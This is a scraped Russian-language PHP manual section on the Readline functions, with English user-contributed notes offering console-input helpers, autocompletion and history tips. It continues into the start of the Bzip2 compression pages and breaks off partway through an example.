Readline only reads the window size on startup or on SIGWINCH.  This means if the window is resized when not in a readline() call, the next call will have odd behavior due to confusion about the window size.

The work-around is to force Readline to re-read the window size by sending it SIGWINCH.  This is accomplished using the async interface, which installs the signal handler but returns control to PHP.

The following function is a drop-in replacement for readline(), but re-reads the window size every time:

<?
    function xreadline($prompt)
    {
        global $xreadline, $xreadline_line;
        $code = '$GLOBALS["xreadline"] = false;' .
                '$GLOBALS["xreadline_line"] = $line;' .
                'readline_callback_handler_remove();';
        $cb = create_function('$line', $code);
        readline_callback_handler_install($prompt, $cb);
        $signal = defined("SIGWINCH") ? SIGWINCH : 28;
        posix_kill(posix_getpid(), $signal);
        $xreadline = true;
        while ($xreadline)
            readline_callback_read_char();
        return is_null($xreadline_line) ? false : $xreadline_line;
    }
?>
flobee 28-Apr-2006 10:29
re to: ds at NOSPAM dot undesigned dot org dot za

cool program! note when trying to exec() something:
in the while loop you need to reset exec() returns or you will get all results of all executions (on my my windows and or cygwin :-(
like:
<?php
// your class prompt()

echo "Enter something or 'exit' to quit\n";
do {
    $cmdline = new prompt();
    $buffer = $cmdline->get('shell command: ');
// init/ reset first!
    $data = null;
    $return = null;
// now start:
    echo "You said: $buffer\n";
    if (!empty($buffer)) {
        $x = exec($buffer, $data, $return);
        print_r($data);
    }
} while ($buffer !== "exit");
echo "Goodbye\n";
jeffrey at thompsonic dot com 22-Feb-2005 06:18
Here's an easy way without readline() if you don't have it compiled in already:

   $fp = fopen("php://stdin","r");
   $line = rtrim(fgets($fp, 1024);
jcl atNOSPAM jcl dot name 23-Nov-2004 09:40
Even better than 'plz at dont dot spam' in only one line :) :

@c:\\php\\cli\\php.exe script.php %*

Cheers,
Jean-Charles
plz at dont dot spam 08-Aug-2004 01:50
To get all arguments passed to a batch file in one variable
rather than using %1 %2 %3 etc;

:LOOP
if "%1" == "" goto DONE
set args=%args% %1
shift
goto LOOP
:DONE
@c:\\php\\cli\\php.exe script.php %args%
set args=
ds at NOSPAM dot undesigned dot org dot za 04-Dec-2003 08:04
You can open /dev/tty on unix systems or \con in windows, with ob_implicit_flush(true) to write output unbuffered.  Works like a charm :-)

-------------------------------

#!/usr/local/bin/php -q
<?php

set_time_limit(0);
@ob_end_flush();
ob_implicit_flush(true);

class prompt {
  var $tty;

  function prompt() {
    if (substr(PHP_OS, 0, 3) == "WIN") {
      $this->tty = fOpen("\con", "rb");
    } else {
      if (!($this->tty = fOpen("/dev/tty", "r"))) {
        $this->tty = fOpen("php://stdin", "r");
      }
    }
  }

  function get($string, $length = 1024) {
    echo $string;
    $result = trim(fGets($this->tty, $length));
    echo "\n";
    return $result;
  }
}

echo "Enter something or 'exit' to quit\n";
do {
  $cmdline = new prompt();
  $buffer = $cmdline->get("Something: ");
  echo "You said: $buffer\n";
} while ($buffer !== "exit");
echo "Goodbye\n";

?>
jewfish at jewfish dot net 10-Jun-2002 04:05
There is a simpler way to do a multiline read than above:

function multiline() {
    while(($in = readline("")) != ".")
        $story .= ($PHP_OS == "WINNT") ? "\r\n".$in :
                                         "\n".$in;

    return $story;
}
joshua at neocodesoftware.com 21-Apr-2002 03:17
Here's an example simple readline-like way to input from command line on windows - the single line is from http://www.phpbuilder.com/columns/darrell20000319.php3, the multiline is something I added...

<?
function read () {
    # 4092 max on win32 fopen

    $fp=fopen("php://stdin", "r");
    $in=fgets($fp,4094);
    fclose($fp);

    # strip newline
    (PHP_OS == "WINNT") ? ($read = str_replace("\r\n", "", $in)) : ($read = str_replace("\n", "", $in));

    return $read;
}

function multilineread () {
    do {
        $in = read();

        # test exit
        if ($in == ".") return $read;

        # concat input
        (PHP_OS == "WINNT") ? ($read = $read . ($read ? "\r\n" : "") . $in) : ($read = $read . "\n" . $in);

    } while ($inp != ".");

    return $read;
}

print("End input with . on line by itself.\n");

print("What is your first name?\n");
$first_name = multilineread();

print("What is your last name?\n");
$last_name = read();

print("\nHello, $first_name $last_name! Nice to meet you! \n");
?>
14-Apr-2002 07:17
[Ed. note: you can use fopen("php://stdin", "w") to achieve the same thing, works on both Windows and Unix)]

I wanted to get console input in a PHP script running on windows, so I made a little hack, which is so simple, it is clearly public domain.  What I did was write a C++ program to get a line, then output it.  Then all that is needed is to exec() that program and capture the output - readline() for windows.  The C++ source is as follows:

#include <iostream.h>
#include <string>
void main()
{
    string input;
    cin >> input;
    cout << input;
}

It works wonderfully for my purposes, since I love the PHP language and want to have console input.

Justin Henck


Добавляет строку в историю

  • « Функции Readline
  • readline_callback_handler_install »
  • PHP Manual
  • Функции Readline
  • Добавляет строку в историю

readline_add_history

(PHP 4, PHP 5, PHP 7, PHP 8)

readline_add_history — Добавляет строку в историю

Описание

readline_add_history(string $prompt): bool

Добавляет строку в историю ввода.

Список параметров

prompt

Строка, которую надо добавить в историю команд.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

Anonymous 26-Jan-2011 03:53
Note that readline_add_history() will add empty strings too.

<?php
$line = readline(">>> ");
if (!empty($line)) {
  readline_add_history($line);
}
?>


Инициализирует callback-интерфейс readline и терминал, печатает строку приглашения и немедленно возвращает управление

  • « readline_add_history
  • readline_callback_handler_remove »
  • PHP Manual
  • Функции Readline
  • Инициализирует callback-интерфейс readline и терминал, печатает строку приглашения и немедленно возвращает управление

readline_callback_handler_install

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

readline_callback_handler_install — Инициализирует callback-интерфейс readline и терминал, печатает строку приглашения и немедленно возвращает управление

Описание

readline_callback_handler_install(string $prompt, callable $callback): bool

Инициализирует callback-интерфейс readline, печатает prompt и возвращает управление. Повторный вызов этой функции без предварительного удаления старого callback-интерфейса приведёт к автоматической его перезаписи.

Функционал callback-функций особенно удобен в комбинации с stream_select(), поскольку он, в отличие от readline(), позволяет чередовать ввод-вывод и пользовательский ввод.

Список параметров

prompt

Строка приглашения.

callback

Функция передаваемая в параметр callback должна принимать один параметр - возвращённый пользовательский ввод.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования callback-интерфейса readline

<?php
function rl_callback($ret)
{
global $c, $prompting;

echo "Вы ввели: $ret\n";
$c++;

if ($c > 10) {
$prompting = false;
readline_callback_handler_remove();
} else {
readline_callback_handler_install("[$c] Поговори со мной: ", 'rl_callback');
}
}

$c = 1;
$prompting = true;

readline_callback_handler_install("[$c] Введите что-нибудь: ", 'rl_callback');

while ($prompting) {
$w = NULL;
$e = NULL;
$n = stream_select($r = array(STDIN), $w, $e, null);
if ($n && in_array(STDIN, $r)) {
// читаем символ и вызываем callback-функцию,
// если введён символ новой строки
readline_callback_read_char();
}
}

echo "Ввод отключён. Спасибо за внимание.\n";
?>

Смотрите также

  • readline_callback_handler_remove() - Удаляет ранее зарегистрированную callback-функцию и восстанавливает терминал
  • readline_callback_read_char() - Читает символ и информирует callback-функцию readline, что получена строка
  • stream_select() - Запускает эквивалент системного вызова select() на заданных массивах потоков со временем ожидания, указанным параметрами seconds и microseconds

User Contributed Notes

thflori 23-Aug-2018 07:01
To read byte wise and multi line you can check the line_buffer from readline_info:

<?php

function read(int $count, string $prompt = null): string
{
    $previous = '';
    readline_callback_handler_install($prompt ?? " \e[D", function ($str) use (&$previous) {
        $previous .= $str . PHP_EOL;
    });
    do {
        $r = array(STDIN);
        $n = stream_select($r, $w, $e, null);
        if ($n && in_array(STDIN, $r)) {
            readline_callback_read_char();
            $str = $previous . readline_info('line_buffer');
        }
    } while (mb_strlen($str) < $count); // use strlen if you need the exact byte count
    readline_callback_handler_remove();

    return $str;
}


Удаляет ранее зарегистрированную callback-функцию и восстанавливает терминал

  • « readline_callback_handler_install
  • readline_callback_read_char »
  • PHP Manual
  • Функции Readline
  • Удаляет ранее зарегистрированную callback-функцию и восстанавливает терминал

readline_callback_handler_remove

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

readline_callback_handler_remove — Удаляет ранее зарегистрированную callback-функцию и восстанавливает терминал

Описание

readline_callback_handler_remove(): bool

Удаляет ранее зарегистрированную callback-функцию и восстанавливает настройки терминала.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если удаление прошло успешно или false, если удалять нечего.

Примеры

Пример использования интерфейса callback-функций readline смотрите на странице описания функции readline_callback_handler_install().

Смотрите также

  • readline_callback_handler_install() - Инициализирует callback-интерфейс readline и терминал, печатает строку приглашения и немедленно возвращает управление
  • readline_callback_read_char() - Читает символ и информирует callback-функцию readline, что получена строка

User Contributed Notes

There are no user contributed notes for this page.


Читает символ и информирует callback-функцию readline, что получена строка

  • « readline_callback_handler_remove
  • readline_clear_history »
  • PHP Manual
  • Функции Readline
  • Читает символ и информирует callback-функцию readline, что получена строка

readline_callback_read_char

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

readline_callback_read_char — Читает символ и информирует callback-функцию readline, что получена строка

Описание

readline_callback_read_char(): void

Читает введённый пользователем символ. Когда строка получена, эта функция информирует callback-функцию интерфейса readline, заданную с помощью readline_callback_handler_install(), что строка готова к вводу.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример использования интерфейса callback-функций readline смотрите на странице описания функции readline_callback_handler_install().

Смотрите также

  • readline_callback_handler_install() - Инициализирует callback-интерфейс readline и терминал, печатает строку приглашения и немедленно возвращает управление
  • readline_callback_handler_remove() - Удаляет ранее зарегистрированную callback-функцию и восстанавливает терминал

User Contributed Notes

thflori 23-Aug-2018 06:30
It seems this function is not blocking anymore:

<?php

do {
  readline_callback_read_char();
  $str = readline_info('line_buffer');
  echo '.';
} while (strlen($str) < 10);

echo PHP_EOL . $str . PHP_EOL;

?>
Quis-NOZPAM- at omicidio-NOZPAM- dot nl 02-Aug-2006 04:43
Note that this function is blocking if there is no character to read
If you don`t want to get blocked, you should use the trick with stream_select()

It also only reads one char per call,
So if something else in your script is blocking,
you`ve got a problem


Очищает историю команд

  • « readline_callback_read_char
  • readline_completion_function »
  • PHP Manual
  • Функции Readline
  • Очищает историю команд

readline_clear_history

(PHP 4, PHP 5, PHP 7, PHP 8)

readline_clear_history — Очищает историю команд

Описание

readline_clear_history(): bool

Функция очищает историю ввода команд.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Зарегистрировать функцию автодополнения

  • « readline_clear_history
  • readline_info »
  • PHP Manual
  • Функции Readline
  • Зарегистрировать функцию автодополнения

readline_completion_function

(PHP 4, PHP 5, PHP 7, PHP 8)

readline_completion_function — Зарегистрировать функцию автодополнения

Описание

readline_completion_function(callable $callback): bool

Функция регистрирует функцию автодополнения. Это то же самое, как если вы нажимаете табуляцию в Bash и строка дополняется наиболее подходящим текстом.

Список параметров

callback

Имя функции, которая принимает строку и возвращает массив подходящих совпадений.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

i dot a dot belousov dot 88 at gmail dot com 23-Oct-2023 04:06
If you want to use autocomplete also for history, you can make it like this:

readline_completion_function(function($input, $index) {
    $matches = [];

    foreach(readline_list_history() as $match)
        if (mb_strpos($match, readline_info("line_buffer")) !== false)
            $matches[] = mb_substr($match, $index);

    return (count($matches) > 1 && $index) ? [] : $matches;
});
cameron at cloudix dot co dot nz 16-Apr-2015 03:36
The readline extension can be a bit flakey due to bugs in libedit (PHP 5.3.10-1ubuntu3.15 with Suhosin-Patch (cli) (built: Oct 29 2014 12:19:04)).

I created many segfaults returning an empty array on the autocompletion function:

// Autocomplete
readline_completion_function(function($Input, $Index){

    global $Commands;

    // Filter Matches
    $Matches = array();
    foreach(array_keys($Commands) as $Command)
        if(stripos($Command, $Input) === 0)
            $Matches[] = $Command;

    return $Matches;
});

I found adding an empty string to the matches array prevents the segfault:

// Autocomplete
readline_completion_function(function($Input, $Index){

    global $Commands;

    // Filter Matches
    $Matches = array();
    foreach(array_keys($Commands) as $Command)
        if(stripos($Command, $Input) === 0)
            $Matches[] = $Command;

    // Prevent Segfault
    if($Matches == false)
        $Matches[] = '';

    return $Matches;
});

Hopefully this is helpful to someone.
chris AT w3style DOT co UK 28-Nov-2009 08:39
A little bit of info regarding useful variables when writing your callback function.

There doesn't seem to be a way to set rl_basic_word_break_characters like with the pure C library, so as previous users have pointed out you'll only receive the current word in the input buffer within your callback.  If for example you're typing "big bro|ther", where the bar is the position of your cursor when you hit TAB, you'll receive (string) "brother" and (int) 4 as your callback parameters.

However, it is possible (easily) to get more useful information about what the user has typed into the readline buffer.  readline_info() is key here.  It will return an array containing:

"line_buffer" => (string)
   the entire contents of the line buffer (+ some bugs**)

"point" => (int)
   the current position of the cursor in the buffer

"end" => (int)
   the position of the last character in the buffer

So for the example above you'd get:

  * line_buffer => "big brother"
  * point => 7
  * end => 11

From this you can easily perform multi-word matches.

** NOTE: line_buffer seems to contain spurious data at the end of the string sometime.  Fortunately since $end is provided you can substr() it to get the correct value.

The matches you need to return are full words that can replace $input, so your algorithm might crudely look something like:

<?php

function your_callback($input, $index) {
  // Get info about the current buffer
  $rl_info = readline_info();

  // Figure out what the entire input is
  $full_input = substr($rl_info['line_buffer'], 0, $rl_info['end']);

  $matches = array();

  // Get all matches based on the entire input buffer
  foreach (phrases_that_begin_with($full_input) as $phrase) {
    // Only add the end of the input (where this word begins)
    // to the matches array
    $matches[] = substr($phrase, $index);
  }

  return $matches;
}

?>
overshoot.tv 25-Jun-2009 12:07
Note: the first argument passed to the registered function is NOT the whole command line as entered by the user, but only the last part, i.e. the part after the last space.

e.g.:
<?php
function my_readline_completion_function($string, $index) {
  // If the user is typing:
  // mv file.txt directo[TAB]
  // then:
  // $string = directo
  // the $index is the place of the cursor in the line:
  // $index = 19;

  $array = array(
    'ls',
    'mv',
    'dar',
    'exit',
    'quit',
  );

  // Here, I decide not to return filename autocompletion for the first argument (0th argument).
  if ($index) {
    $ls = `ls`;
    $lines = explode("\n", $ls);
    foreach ($lines AS $key => $line) {
      if (is_dir($line)) {
        $lines[$key] .= '/';
      }
      $array[] = $lines[$key];
    }
  }
  // This will return both our list of functions, and, possibly, a list of files in the current filesystem.
 // php will filter itself according to what the user is typing.
  return $array;
}
?>
david at acz dot org 01-Feb-2005 12:08
This function can simply return an array of all possible matches (regardless of the current user intput) and readline will handle the matching itself.  This is likely to be much faster than attempting to handle partial matches in PHP.
john at weider dot cc 21-Sep-2002 09:32
It seems that the registered function can accept 2 parameters, the first being the partial string, the second a number that when equal to zero indicates that the tab was hit on the first argument on the input. Otherwise it looks like the position within the string is returned.

This is neccessary information for processing shell command line input.


Устанавливает/читает различные внутренние переменные readline

  • « readline_completion_function
  • readline_list_history »
  • PHP Manual
  • Функции Readline
  • Устанавливает/читает различные внутренние переменные readline

readline_info

(PHP 4, PHP 5, PHP 7, PHP 8)

readline_info — Устанавливает/читает различные внутренние переменные readline

Описание

readline_info(?string $var_name = null, int|string|bool|null $value = null): mixed

Устанавливает/читает различные внутренние переменные readline.

Список параметров

var_name

Имя переменной.

value

Если задано, то переменной будет присвоено это значение.

Возвращаемые значения

Если вызвать функцию без параметров, то будет возвращён массив значений всех внутренних переменных readline. У элементов массива будут следующие индексы: done, end, erase_empty_line, library_version, line_buffer, mark, pending_input, point, prompt, readline_name и terminal_name. Массив (array) будет содержать только те элементы, которые поддерживаются библиотекой, используемой для сборки модуля readline.

Если вызвать с одним или двумя параметрами, то будет возвращено старое/текущее значение переменной.

Список изменений

Версия | Описание
8.0.0 | var_name и value теперь допускают значение null.

User Contributed Notes

There are no user contributed notes for this page.


Список истории команд

  • « readline_info
  • readline_on_new_line »
  • PHP Manual
  • Функции Readline
  • Список истории команд

readline_list_history

(PHP 4, PHP 5, PHP 7, PHP 8)

readline_list_history — Список истории команд

Описание

readline_list_history(): array

Возвращает полную историю команд.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает индексированный массив с занесёнными в историю командами.

User Contributed Notes

info () gaj ! design 16-Dec-2016 02:19
I just noticed that all readline functions are available with my php.exe (PHP 7, Cygwin) except for this one. It would be nice to have it so duplicate lines can be screened.

So to emulate it, I keep a working copy of the history in an array (yeah, extra code/data, but there are ways to keep the history from getting too large).

Loading is like:

<?php
    readline_read_history(HISTFILE);
    $hist = file(HISTFILE,FILE_IGNORE_NEW_LINES);
    array_shift($hist);
?>

Adding is like:

<?php
    if (!in_array($line,$hist)) {
        $hist[] = $line;
        readline_add_history($line);
    }
?>

(One may want to just check the last entry being the same.)
Anonymous 26-Jan-2011 06:17
Note this function is only available when PHP is compiled with libreadline, not if it is compiled with libedit.

<?php
if (function_exists('readline_list_history')) {
  $history = readline_list_history();
  // ...
} else {
  echo 'Not supported by the compiled library.'.PHP_EOL;
}
?>


Информирует readline, что курсор переместился на новую строку

  • « readline_list_history
  • readline_read_history »
  • PHP Manual
  • Функции Readline
  • Информирует readline, что курсор переместился на новую строку

readline_on_new_line

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

readline_on_new_line — Информирует readline, что курсор переместился на новую строку

Описание

readline_on_new_line(): void

Информирует readline, что курсор переместился на новую строку.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примечания

Замечание:

Функция доступна только в том случае, если поддерживается базовой библиотекой readline. Не поддерживается в Windows.

User Contributed Notes

There are no user contributed notes for this page.


Прочитать историю команд из файла

  • « readline_on_new_line
  • readline_redisplay »
  • PHP Manual
  • Функции Readline
  • Прочитать историю команд из файла

readline_read_history

(PHP 4, PHP 5, PHP 7, PHP 8)

readline_read_history — Прочитать историю команд из файла

Описание

readline_read_history(?string $filename = null): bool

Функция читает историю команд из файла.

Список параметров

filename

Путь к файлу.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | filename теперь допускает значение null.

User Contributed Notes

Anonymous 26-Jan-2011 04:07
Note that the first line in the history file must contain the string: _HiStOrY_V2_

Else it wont work.


Перерисовать экран

  • « readline_read_history
  • readline_write_history »
  • PHP Manual
  • Функции Readline
  • Перерисовать экран

readline_redisplay

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

readline_redisplay — Перерисовать экран

Описание

readline_redisplay(): void

Перерисовывает экран.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Записать историю команд в файл

  • « readline_redisplay
  • readline »
  • PHP Manual
  • Функции Readline
  • Записать историю команд в файл

readline_write_history

(PHP 4, PHP 5, PHP 7, PHP 8)

readline_write_history — Записать историю команд в файл

Описание

readline_write_history(?string $filename = null): bool

Функция записывает историю команд в файл.

Список параметров

filename

Путь к файлу.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | filename теперь допускает значение null.

User Contributed Notes

jonathan dot gotti at free dot fr 27-Apr-2006 04:52
readline_write_history() doesn't take care of the $_SERVER['HISTSIZE'] value, here's an example on how to handle an history file in your apps taking care of user preferences regarding history size.

at the begining of your script:
<?php
$history_file = $_SERVER['HOME'].'/.PHPinteractive_history';
# read history from previous session
if(is_file($history_file))
  readline_read_history($history_file);
....
# your application's code
....
# put this at the end of yur script to save history and take care of $_SERVER['HISTSIZE']
if( readline_write_history($history_file) ){
  # clean history if too long
  $hist = readline_list_history();
  if( ($histsize = count($hist)) > $_SERVER['HISTSIZE'] ){
    $hist = array_slice($hist, $histsize - $_SERVER['HISTSIZE']);
    # in php5 you can replaces thoose line with a file_puts_content()
    if( $fhist = fopen($history_file,'w') ){
      fwrite($fhist,implode("\n",$hist));
      fclose($fhist);
    }
  }
}
?>


Читает строку

  • « readline_write_history
  • Модули для сжатия и архивации »
  • PHP Manual
  • Функции Readline
  • Читает строку

readline

(PHP 4, PHP 5, PHP 7, PHP 8)

readline — Читает строку

Описание

readline(?string $prompt = null): string|false

Читает одну строку, введённую пользователем. Если вам нужно добавить эту строку в историю, то сделать это вы должны самостоятельно, с помощью readline_add_history().

Список параметров

prompt

Подсказка, которая будет выведена пользователю.

Возвращаемые значения

Возвращает одну строку, введённую пользователем. Символ конца строки будет удалён. Если больше нет данных для чтения, тогда возвращает false.

Примеры

Пример #1 Пример использования readline()

<?php
//получим 3 команды от пользователя
for ($i=0; $i < 3; $i++) {
$line = readline("Command: ");
readline_add_history($line);
}

//распечатаем историю ввода
print_r(readline_list_history());

//распечатаем переменные
print_r(readline_info());
?>

User Contributed Notes

mfuhrman at enetarch dot net 06-Aug-2022 05:16
To stop auto complete , register an auto complete function that returns no matches to auto complete.

function dontAutoComplete ($input, $index)
{ return ([]); }

readline_completion_function ("dontAutoComplete");
mfuhrman at enetarch dot net 06-Aug-2022 04:39
<?
/*
 *
    I've noticed strange behavior from readline while using it for user input from a CLI.

    When I press multiple tabs it prints a scandir to the input stream.

    Below is the code:
*
*/

$msg = "";
while ($msg != "quit")
{
    while (($msg == "") || ($msg == "\r"))
        $msg = readline ("> ");
}
?>
divinity76 at gmail dot com 12-Jun-2022 10:40
<?php
/**
 * readline() with unicode support
 * php's builtin readline has dodgy unicode support, it only works
 * with the correct environment locale settings, it doesn't seem to work at Cygwin (strips ?oa?OA),
 * and it has historically had bugs like https://bugs.php.net/bug.php?id=81598
 * meanwhile this readline has consistent unicode support across all platforms (including Cygwin)
 * and doesn't care about locale settings.
 *
 * @param string $prompt
 * @return string|false
 */
function readline_with_unicode_support(?string $prompt = null)/*: string|false*/
{
    if ($prompt !== null && $prompt !== '') {
        echo $prompt;
    }
    $line = fgets(STDIN);
    // readline() removes the trailing newline, fgets() does not,
    // to emulate the real readline(), we also need to remove it
    if ($line !== false && strlen($line) >= strlen(PHP_EOL) && substr_compare($line, PHP_EOL, -strlen(PHP_EOL)) === 0) {
        $line = substr($line, 0, -strlen(PHP_EOL));
    }
    return $line;
}
divinity76+spam at gmail dot com 08-Jun-2022 02:03
for some reason readline() doesn't support unicode, readline STRIPS ?oa?OA - for a readline function with unicode support, try
<?php
function readline_with_unicode_support(?string $prompt = null)/*: string|false*/
{
    if ($prompt !== null && $prompt !== '') {
        echo $prompt;
    }
    $line = fgets(STDIN);
    // readline() removes the trailing newline, fgets does not,
    // to emulate the real readline(), we also need to remove it
    if ($line !== false && strlen($line) >= strlen(PHP_EOL) && substr_compare($line, PHP_EOL, -strlen(PHP_EOL), strlen(PHP_EOL), true) === 0) {
        $line = substr($line, 0, -strlen(PHP_EOL));
    }
    return $line;
}
Antony Penn 10-Feb-2020 01:41
Christian's code works well, but if you want to be able to hide the user input and not echo it to screen, you need to add -s to the read command. The code below is an expanded function that allows an optional prompt and optional hiding of the input:

function read_password($prompt=null, $hide=false)
{
    if($prompt) print $prompt;
    $s = ($hide) ? '-s' : '';
    $f=popen("read $s; echo \$REPLY","r");
    $input=fgets($f,100);
    pclose($f);
    if($hide) print "\n";
    return $input;
}
thflori 22-Aug-2018 08:11
If you want to block remove previous text and wonder that an empty string does not work: the workaround is to use an space with cursor left:

<?php

echo "> ";
readline(" \e[D");

?>
Ixios 10-Aug-2018 10:47
Works under windows, and under php 7.2.0 :

$arr = [];

for ($i=0; $i < 3; $i++) {
        $arr[$i] = readline("Commande : ");
}

// Output
print_r($arr);

----------

Output:

Commande : 658
Commande : 965
Commande : 478
Array
(
    [0] => 658
    [1] => 965
    [2] => 478
)
Anonymous 18-Jun-2017 07:41
a few observations....

I use Cygwin PHP v7 and readline is available. The readline_list_history() function though is not defined.

A prompt with escape sequences are sanitized, so use something like:

<?php
    echo("\e[0m\e[34mPromt>\e[0m");
    $inp = readline(' ');
?>

I have not fully documented it, but I see that sometimes strings beginning with punctuation characters do not make it into the history with readline_add_history(). They also sometimes clear the prompt string.
turdsurfer 03-Mar-2017 12:07
If your CLI script accepts input from STDIN and you also want it to prompt for a password (e.g. as mysql client does), then readline() won't work for you.
What you need to do is read from the terminal device as shown below.

function readline_terminal($prompt = '') {
    $prompt && print $prompt;
    $terminal_device = '/dev/tty';
    $h = fopen($terminal_device, 'r');
    if ($h === false) {
        #throw new RuntimeException("Failed to open terminal device $terminal_device");
        return false; # probably not running in a terminal.
    }
    $line = rtrim(fgets($h),"\r\n");
    fclose($h);
    return $line;
}
$pass = readline_terminal('Password: ');
roddric dot kasen at gmail dot com 07-Mar-2016 03:57
<?php

class ConsoleQuestion
{

    function readline()
    {
        return rtrim(fgets(STDIN));
    }
}

//Example1
$line = new ConsoleQuestion();
$prompt = "What Is Your Name: ";
echo $prompt;
$answer = $line->readline();
echo "You Entered: " . $answer;

//Example2 (comment Ex1 then uncomment Ex2)
/*$prompt = "What Is Your Name: ";
echo $prompt;
$answer =  "You Entered: " . rtrim( fgets( STDIN ));
echo $answer;*/

?>
Anonymous 30-May-2011 08:51
The readline library is not available on Windows.

<?php
if (PHP_OS == 'WINNT') {
  echo '$ ';
  $line = stream_get_line(STDIN, 1024, PHP_EOL);
} else {
  $line = readline('$ ');
}
?>
sean 21-Jun-2009 02:00
I wanted a function that would timeout if readline was waiting too long... this works on php CLI on linux:

<?php

function readline_timeout($sec, $def)
{
    return trim(shell_exec('bash -c ' .
        escapeshellarg('phprlto=' .
            escapeshellarg($def) . ';' .
            'read -t ' . ((int)$sec) . ' phprlto;' .
            'echo "$phprlto"')));
}

?>

Just call readline_timeout(5, 'whatever') to either read something from stdin, or timeout in 5 seconds and default to 'whatever'.  I tried just using shell_exec without relying on bash -c, but that didn't work for me, so I had to go the round about way.
taneli at crasman dot fi 24-Mar-2009 12:21
If you want to prefill the prompt with something when using readline, this worked for me:

<?php
  function readline_callback($ret)
  {
    global $prompt_answer, $prompt_finished;
    $prompt_answer = $ret;
    $prompt_finished = TRUE;
    readline_callback_handler_remove();
  }

  readline_callback_handler_install('Enter some text> ',
                                    'readline_callback');

  $prefill = 'foobar';
  for ($i = 0; $i < strlen($prefill); $i++)
  {
    readline_info('pending_input', substr($prefill, $i, 1));
    readline_callback_read_char();
  }

  $prompt_finished = FALSE;
  $prompt_answer = FALSE;
  while (!$prompt_finished)
    readline_callback_read_char();
  echo 'You wrote: ' . $prompt_answer . "\n";
?>
rojaro at gmail dot com 31-Oct-2008 07:28
Note that readline() will return boolean "false" when the user presses CTRL+D.
soletan at toxa dot de 04-Sep-2006 05:44
To haukew at gmail dot com:

readline provides more features than reading a single line of input ... your example misses line editing and history. If you don't need that, use something as simple as this:

function readline( $prompt = '' )
{
    echo $prompt;
    return rtrim( fgets( STDIN ), "\n" );
}
christian at gaeking dot de 22-Jan-2004 10:01
A workaround if readline is not compiled into php, because for example the command is only needed within an installation routine. It works as follows under Linux:

$f=popen("read; echo \$REPLY","r");
$input=fgets($f,100);
pclose($f);
echo "Entered: $input\n";
cox at idecnet dot com 03-Feb-2002 08:06
In CGI mode be sure to call:

ob_implicit_flush(true);

at the top of your script if you want to be able to output data before and after the prompt.

-- Tomas V.V.Cox


Модули для сжатия и архивации

  • Bzip2
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Функции Bzip2
  • LZF
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции LZF
  • Phar
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Использование Phar-архивов
    • Создание Phar-архивов
    • Чем отличается phar от tar- или zip-архива?
    • Phar — Класс Phar
    • PharData — Класс PharData
    • PharFileInfo — Класс PharFileInfo
    • PharException — Класс PharException
  • Rar — Архивирование Rar
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Rar
    • RarArchive — Класс RarArchive
    • RarEntry — Класс RarEntry
    • RarException — Класс RarException
  • Zip
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • ZipArchive — Класс ZipArchive
    • Функции Zip
  • Zlib
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Функции Zlib
    • DeflateContext — Класс DeflateContext
    • InflateContext — Класс InflateContext

User Contributed Notes

There are no user contributed notes for this page.


Bzip2

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
  • Функции Bzip2
    • bzclose — Закрывает файл bzip2
    • bzcompress — Сжимает строку с использованием bzip2
    • bzdecompress — Распаковывает данные, сжатые с использованием bzip2
    • bzerrno — Возвращает код ошибки работы с bzip2
    • bzerror — Возвращает код и строку ошибки работы с bzip2 в виде массива
    • bzerrstr — Возвращает строку ошибки работы с bzip2
    • bzflush — Ничего не делает
    • bzopen — Открывает файл, сжатый с использованием bzip2
    • bzread — Бинарно-безопасное чтение файла bzip2
    • bzwrite — Бинарно-безопасная запись bzip2 файла

User Contributed Notes

There are no user contributed notes for this page.


Введение

Функции bzip2 используются для прозрачного чтения и записи архивов bzip2 (.bz2).

User Contributed Notes

There are no user contributed notes for this page.


Требования

Модуль использует функции библиотеки » bzip2 (автор: Julian Seward) и требует bzip2/libbzip2 версий >= 1.0.x.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Поддержка Bzip2 в PHP не включена по умолчанию, для её включения вам следует скомпилировать PHP с указанием директивы --with-bz2[=DIR].

User Contributed Notes

There are no user contributed notes for this page.


Типы ресурсов

Модуль определяет один новый тип ресурсов: указатель на bz2-файл, с которым идёт работа.

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Следующий пример откроет временный файл, запишет в него тестовую строку, после чего выведет содержимое файла.

Пример #1 Пример работы с bzip2

<?php

$filename = "/tmp/testfile.bz2";
$str = "This is a test string.\n";

// открываем файл для записи
$bz = bzopen($filename, "w");

// пишем строку в файл
bzwrite($bz, $str);

// закрываем файл
bzclose($bz);

// открываем файл для чтения
$bz = bzopen($filename, "r");

// читаем 10 символов
echo bzread($bz, 10);

